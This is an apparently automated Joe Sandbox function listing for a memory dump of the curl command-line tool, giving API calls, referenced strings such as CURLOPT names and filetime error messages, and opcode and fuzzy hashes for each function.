String ID: # Netscape HTTP Cookie File# https://curl.haxx.se/docs/http-cookies.html# This file was generated by libcurl! Edit at your own risk.$#HttpOnly_$%s$%s%s%s%s%s%s%I64d%s%s$FALSE$TRUE$unknown
API String ID: 489802191-4155909777
Opcode ID: c48579d98c32a8db3862712b9dc986294f71a821d93d90be43a582d196de266d
Instruction ID: 5f1cc9a08bdd725f44547622f55e4b455675cf65a128ca302e95bca2c868339e
Opcode Fuzzy Hash: c48579d98c32a8db3862712b9dc986294f71a821d93d90be43a582d196de266d
Instruction Fuzzy Hash: 5781B1B5A04305ABEB10DF18DD86B1AB7E1FF85344F08482CF94997213E771DCA49BA2

Function 00D21620 Relevance: 21.4, APIs: 6, Strings: 6, Instructions: 363filestringCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 00D2166A
strchr.MSVCRT ref: 00D21695
fputc.MSVCRT ref: 00D21787
fputc.MSVCRT ref: 00D217A2

Strings

%03ld, xrefs: 00D218C5
curl: unknown --write-out variable: '%s', xrefs: 00D216E4
%.6f, xrefs: 00D21946
%.0f, xrefs: 00D21843
%.3f, xrefs: 00D2188B
%ld, xrefs: 00D21A25

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: fputc$fwritestrchr
String ID: %.0f$%.3f$%.6f$%03ld$%ld$curl: unknown --write-out variable: '%s'
API String ID: 3129928417-2797245882
Opcode ID: 9e2854bb176454b191e2787b7899f59cd44f0a3cb35dbb292e6f2cbdcd9ff5f7
Instruction ID: 5b057e52b33f4b744b55ef0a18f5359734dac06dab0ed7f74721a1f03d1c09d7
Opcode Fuzzy Hash: 9e2854bb176454b191e2787b7899f59cd44f0a3cb35dbb292e6f2cbdcd9ff5f7
Instruction Fuzzy Hash: EFB10379508325BAE710DA00EC41FBB77ACEB75749F18C42AF9C582181E770DA58AB73

Function 00D1D996 Relevance: 21.2, APIs: 3, Strings: 9, Instructions: 219COMMON

Download Yara Rule

APIs

Part of subcall function 00D20260: strcmp.MSVCRT ref: 00D2029F
Part of subcall function 00D20260: strcmp.MSVCRT ref: 00D202B5
Part of subcall function 00D20260: strcmp.MSVCRT ref: 00D202CB
Part of subcall function 00D20260: strcmp.MSVCRT ref: 00D202E1
Part of subcall function 00D20260: strcmp.MSVCRT ref: 00D202F7
Part of subcall function 00D20260: strcmp.MSVCRT ref: 00D2030D
Part of subcall function 00D20260: strcmp.MSVCRT ref: 00D20323
Part of subcall function 00D20260: strcmp.MSVCRT ref: 00D20339

fclose.MSVCRT ref: 00D1AF92
free.MSVCRT ref: 00D1B116
free.MSVCRT ref: 00D1B12A
_close.MSVCRT ref: 00D1B145
fflush.MSVCRT ref: 00D1DCB1
_fileno.MSVCRT ref: 00D1DCC0
fseek.MSVCRT ref: 00D1DCF2
free.MSVCRT ref: 00D1E274

Strings

CURLOPT_DISALLOW_USERNAME_IN_URL, xrefs: 00D1DA52
Throwing away %I64d bytes, xrefs: 00D1DC96
RP7:, xrefs: 00D1DBB2
CURLOPT_HAPROXYPROTOCOL, xrefs: 00D1DA1B
Transient problem: %s Will retry in %ld seconds. %ld retries left., xrefs: 00D1DC17
\Z, xrefs: 00D1DB7F
CURLOPT_HAPPY_EYEBALLS_TIMEOUT_MS, xrefs: 00D1D9E4
curl: Saved to filename '%s', xrefs: 00D1DB7A
CURLOPT_TFTP_NO_OPTIONS, xrefs: 00D1D9AA

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: strcmp$free$_close_filenofclosefflushfseek
String ID: CURLOPT_DISALLOW_USERNAME_IN_URL$CURLOPT_HAPPY_EYEBALLS_TIMEOUT_MS$CURLOPT_HAPROXYPROTOCOL$CURLOPT_TFTP_NO_OPTIONS$RP7:$Throwing away %I64d bytes$Transient problem: %s Will retry in %ld seconds. %ld retries left.$curl: Saved to filename '%s'$\Z
API String ID: 462954383-1622027912
Opcode ID: 7e7052a037fb004e08ffedbb489dc75e2aa6591eeaaeb31e787c965c49eba292
Instruction ID: 7d4a9cd14b439d349d62352020afca1eeff358dab893958179f255d3370ad6d0
Opcode Fuzzy Hash: 7e7052a037fb004e08ffedbb489dc75e2aa6591eeaaeb31e787c965c49eba292
Instruction Fuzzy Hash: 8591AA70608341BFD724DB14E945B9AB7E6EFA4308F14482CF588971A2EB71DC90DB62

Function 00D21370 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 180stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00D21386
malloc.MSVCRT ref: 00D21394
memcpy.MSVCRT(00000000,00000001,00000001), ref: 00D213CC
strtoul.MSVCRT ref: 00D21420

Strings

%0*lu, xrefs: 00D214F6
internal error: invalid pattern type (%d), xrefs: 00D21594

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: mallocmemcpystrlenstrtoul
String ID: %0*lu$internal error: invalid pattern type (%d)
API String ID: 1264475146-449433499
Opcode ID: 147935baac9c660c47eb9feb0be032a8ef758aea306a5af409ea04b035625f30
Instruction ID: f225d31be7e99bc16058761a22fd8e93c56a06df80f125d6a81599ca1571bf03
Opcode Fuzzy Hash: 147935baac9c660c47eb9feb0be032a8ef758aea306a5af409ea04b035625f30
Instruction Fuzzy Hash: 0451E9B99083149BDB00EF14EC4166BB7E9ABB4348F188868F98A87341E735E9059772

Function 00D13D30 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 82filetimeCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,00000080,00000007,00000000,00000003,00000000,00000000), ref: 00D13D4E
GetFileTime.KERNEL32(00000000,00000000,00000000), ref: 00D13D63
fwrite.MSVCRT ref: 00D13D8E
GetLastError.KERNEL32 ref: 00D13D98
GetLastError.KERNEL32 ref: 00D13DAD
fprintf.MSVCRT ref: 00D13DBA
GetLastError.KERNEL32 ref: 00D13DCE
fprintf.MSVCRT ref: 00D13DDB
CloseHandle.KERNEL32(00000000), ref: 00D13E10

Strings

Failed to get filetime: underflow, xrefs: 00D13D89
Failed to get filetime: CreateFile failed: GetLastError %u, xrefs: 00D13DB4
Failed to get filetime: GetFileTime failed: GetLastError %u, xrefs: 00D13DD5

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: ErrorLast$Filefprintf$CloseCreateHandleTimefwrite
String ID: Failed to get filetime: CreateFile failed: GetLastError %u$Failed to get filetime: GetFileTime failed: GetLastError %u$Failed to get filetime: underflow
API String ID: 2990661452-2112902429
Opcode ID: f32f4e525f2718a3495cd7e4ec8456848bcb6e39a25f7474c72e398a36fe5d8b
Instruction ID: e228d5c59e6c4d110ea98a8f6d537e33e6634d5dcc1ae075b8b9699c61d473b8
Opcode Fuzzy Hash: f32f4e525f2718a3495cd7e4ec8456848bcb6e39a25f7474c72e398a36fe5d8b
Instruction Fuzzy Hash: 80213A717403007BE6302528BC47F6A364DEB85731F280324F9B9DA2E1EE669D414372

Function 00D2A7F0 Relevance: 19.6, APIs: 9, Strings: 2, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00D2A841
_errno.MSVCRT ref: 00D2A9E5
_errno.MSVCRT ref: 00D2ABAA
strcpy.MSVCRT(?,?), ref: 00D2ABBC
strlen.MSVCRT ref: 00D2AC02
strcpy.MSVCRT(?,?), ref: 00D2AC1A
strlen.MSVCRT ref: 00D2AC23
_errno.MSVCRT ref: 00D2AC41
_errno.MSVCRT ref: 00D2AC49

Strings

%d.%d.%d.%d, xrefs: 00D2A830, 00D2ABF1
%lx, xrefs: 00D2AB63

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: _errno$strlen$strcpy
String ID: %d.%d.%d.%d$%lx
API String ID: 4259186295-1067823383
Opcode ID: 70264acd6728d4422a45cb0c9f5d5526713ea643f414431cd82c909dec0cd81a
Instruction ID: 534f6aaabd86d85bd204481ab814f77137f1c41f7e06913c6bc9dbaa7b78d1fe
Opcode Fuzzy Hash: 70264acd6728d4422a45cb0c9f5d5526713ea643f414431cd82c909dec0cd81a
Instruction Fuzzy Hash: C9B1F8316043609FEB24592C9CD036E76C6EBA1338F29873DE4B5421D1E7798D85CAB3

Function 00F97B50 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 259memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32 ref: 00F97C69

Strings

Unknown pseudo relocation bit size %d., xrefs: 00F97CF9
Unknown pseudo relocation protocol version %d., xrefs: 00F97DC4

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: 73922ae49e5c54d7fb6a2abc30512570846b5bab7b7b2e813f13f65e28d0b3c0
Instruction ID: 3326e647f59f363e5b8989fc21edc003b5135374ce31776e7a27fe9a3db9c049
Opcode Fuzzy Hash: 73922ae49e5c54d7fb6a2abc30512570846b5bab7b7b2e813f13f65e28d0b3c0
Instruction Fuzzy Hash: 41A1B670E183018FEF20FF68C88076AB7A5BF88324F258559E498DB395D7799C41AB91

Function 00D18FF0 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 173stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00D18FFC
_strdup.MSVCRT ref: 00D19021
free.MSVCRT ref: 00D19037
free.MSVCRT ref: 00D19051
strpbrk.MSVCRT ref: 00D1906F
malloc.MSVCRT ref: 00D1907D
strcspn.MSVCRT ref: 00D190B6
strncpy.MSVCRT ref: 00D190C7

Strings

pkcs11:, xrefs: 00D1900E

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: free$_strdupmallocstrcspnstrlenstrncpystrpbrk
String ID: pkcs11:
API String ID: 2132323148-2446828420
Opcode ID: 905c47e80088e3f1d6a63b62ce598a41cfbf828f79f0071d0016bce63d14e705
Instruction ID: a34750d0ac89d5c8039917dbe282b816fdbdc6f53c2adfd3dcc6a49db9b05a53
Opcode Fuzzy Hash: 905c47e80088e3f1d6a63b62ce598a41cfbf828f79f0071d0016bce63d14e705
Instruction Fuzzy Hash: 9651E8E19083567AEB206A68ACA56BAF7D49F55740F1C042DE8C587202FB69DCC0D7B2

Function 00D13E30 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 74filetimeCOMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00D13E62
CreateFileA.KERNEL32(?,00000100,00000007,00000000,00000003,00000000,00000000,?,?), ref: 00D13E7F
SetFileTime.KERNEL32(00000000,00000000), ref: 00D13EB6
GetLastError.KERNEL32 ref: 00D13EC0
fprintf.MSVCRT ref: 00D13ECF
CloseHandle.KERNEL32(00000000), ref: 00D13ED8
GetLastError.KERNEL32 ref: 00D13EE6
fprintf.MSVCRT ref: 00D13EF5

Strings

Failed to set filetime %I64d on outfile: CreateFile failed: GetLastError %u, xrefs: 00D13EEF
Failed to set filetime %I64d on outfile: overflow, xrefs: 00D13E5C
Failed to set filetime %I64d on outfile: SetFileTime failed: GetLastError %u, xrefs: 00D13EC9

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: fprintf$ErrorFileLast$CloseCreateHandleTime
String ID: Failed to set filetime %I64d on outfile: CreateFile failed: GetLastError %u$Failed to set filetime %I64d on outfile: SetFileTime failed: GetLastError %u$Failed to set filetime %I64d on outfile: overflow
API String ID: 1024183469-2649542943
Opcode ID: 710f346955f8995538dde7e5c5b70cf8168e5ea2dd399abfa35672144d9c2edd
Instruction ID: b4481db252c4d26243fc10ca111cd3b20137ef74f700e2e418847d8e5edbd189
Opcode Fuzzy Hash: 710f346955f8995538dde7e5c5b70cf8168e5ea2dd399abfa35672144d9c2edd
Instruction Fuzzy Hash: 2C113AB17443007BEA342A28BC0AFBB3E5CDB86755F150628F98DE62D1E566E94043B2

Function 00D40E80 Relevance: 18.0, APIs: 8, Strings: 2, Instructions: 493stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D40CF0: strlen.MSVCRT ref: 00D40D2D

time.MSVCRT(00000000), ref: 00D40EAF
strchr.MSVCRT ref: 00D4103A
strlen.MSVCRT ref: 00D41072
strncmp.MSVCRT ref: 00D41086
strlen.MSVCRT ref: 00D4110C
strlen.MSVCRT ref: 00D4111A
strlen.MSVCRT ref: 00D41191
qsort.MSVCRT ref: 00D4132A

Strings

., xrefs: 00D4114C
/, xrefs: 00D41049

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: strlen$qsortstrchrstrncmptime
String ID: .$/
API String ID: 2091720637-2544594439
Opcode ID: ebe60843ecedfb486758252a9b4292f90431ebe7d85294f24e44c8fa0d4495d0
Instruction ID: da481fca41e601bfb0a860e47dd2d0c6a3750708d29d1a85a22dca8ada36a541
Opcode Fuzzy Hash: ebe60843ecedfb486758252a9b4292f90431ebe7d85294f24e44c8fa0d4495d0
Instruction Fuzzy Hash: 82F175B4600205AFEB109F25ED85A167BA4BF44348F0C4439FD4AC6221F775E8A8DBB6

Function 00F98DB0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 204COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00F98DD7

Strings

-, xrefs: 00F98F86
$, xrefs: 00F98DD0

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: _errno
String ID: $$-
API String ID: 2918714741-1949469437
Opcode ID: fa32aa11e73a4cf59672042418af996aee801304ed5de15bbe94572be34807f2
Instruction ID: c4e83c26a49a4a110e62e1fefacd69b13e2a1a48b7ce67b740b45b1d03f2df14
Opcode Fuzzy Hash: fa32aa11e73a4cf59672042418af996aee801304ed5de15bbe94572be34807f2
Instruction Fuzzy Hash: CF61EC71A083418FEB10AF69C88032EFBD2ABC63A4F154A2DE495C7391DB74CC46E742

Function 00D1A603 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 122stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D20620: strlen.MSVCRT ref: 00D2063E
Part of subcall function 00D20620: malloc.MSVCRT ref: 00D2064A
Part of subcall function 00D20620: calloc.MSVCRT ref: 00D2066B
Part of subcall function 00D20620: malloc.MSVCRT ref: 00D2095D

free.MSVCRT ref: 00D1A201
fclose.MSVCRT ref: 00D1A233
free.MSVCRT ref: 00D1A24C
strcmp.MSVCRT ref: 00D1A63A
_strdup.MSVCRT(00000000), ref: 00D1E127
_strdup.MSVCRT(00000000), ref: 00D1E152
strcmp.MSVCRT ref: 00D1E18E
free.MSVCRT ref: 00D1E1D3
free.MSVCRT ref: 00D1E274
free.MSVCRT ref: 00D1E305
free.MSVCRT ref: 00D1E32F
free.MSVCRT ref: 00D1E341
free.MSVCRT ref: 00D1E353

Part of subcall function 00D21040: free.MSVCRT ref: 00D21094
Part of subcall function 00D21040: free.MSVCRT ref: 00D210AF
Part of subcall function 00D21040: free.MSVCRT ref: 00D210CE

Strings

P"-, xrefs: 00D1E318

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: free$_strdupmallocstrcmp$callocfclosestrlen
String ID: P"-
API String ID: 2566626035-2100482176
Opcode ID: 8f2563bcf58e9ab015c206b4bf6eb452005ccecc581b8fb00a932ad17c0d12ab
Instruction ID: 2c8e6ef57b11c10bffa75d03cb623c5a3cdd1943c9044e8fe1471bbb90ff227c
Opcode Fuzzy Hash: 8f2563bcf58e9ab015c206b4bf6eb452005ccecc581b8fb00a932ad17c0d12ab
Instruction Fuzzy Hash: AB4183F1604340ABEB209B55EC45B9BF7E5AF90304F184C2DE85A97251EB35E884DB63

Function 00D1F1A0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 117stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 00D1F1C0
strchr.MSVCRT ref: 00D1F1CD
memset.MSVCRT ref: 00D1F1FE
strlen.MSVCRT ref: 00D1F207
strlen.MSVCRT ref: 00D1F287
realloc.MSVCRT ref: 00D1F2AD
memcpy.MSVCRT(00000001,?,00000001), ref: 00D1F2CC

Strings

proxy, xrefs: 00D1F239, 00D1F258
Enter %s password for user '%s':, xrefs: 00D1F23A
Enter %s password for user '%s' on URL #%zu:, xrefs: 00D1F259

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: strchrstrlen$memcpymemsetrealloc
String ID: Enter %s password for user '%s' on URL #%zu:$Enter %s password for user '%s':$proxy
API String ID: 3824604658-3942158630
Opcode ID: d81421e15b69d06edf28c11472916fa0e13b270353ba978b56833bfd4179efca
Instruction ID: ee38f679802de82adee06e1a1311d8d03cec68f31e056ebd401409a5a44e89bd
Opcode Fuzzy Hash: d81421e15b69d06edf28c11472916fa0e13b270353ba978b56833bfd4179efca
Instruction Fuzzy Hash: A03104B6A443047BE721A764AC42BD777CC9B95358F1C0438F988C7242FA75EE8183B2

Function 00D1E610 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 83stringCOMMON

Download Yara Rule

APIs

strstr.MSVCRT ref: 00D1E61E
strrchr.MSVCRT ref: 00D1E631
strlen.MSVCRT ref: 00D1E641
strrchr.MSVCRT ref: 00D1E65C
strrchr.MSVCRT ref: 00D1E674
free.MSVCRT ref: 00D1E6BF
free.MSVCRT ref: 00D1E6D0

Strings

%s/%s, xrefs: 00D1E69B
%s%s, xrefs: 00D1E6A0, 00D1E6AA
://, xrefs: 00D1E618

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
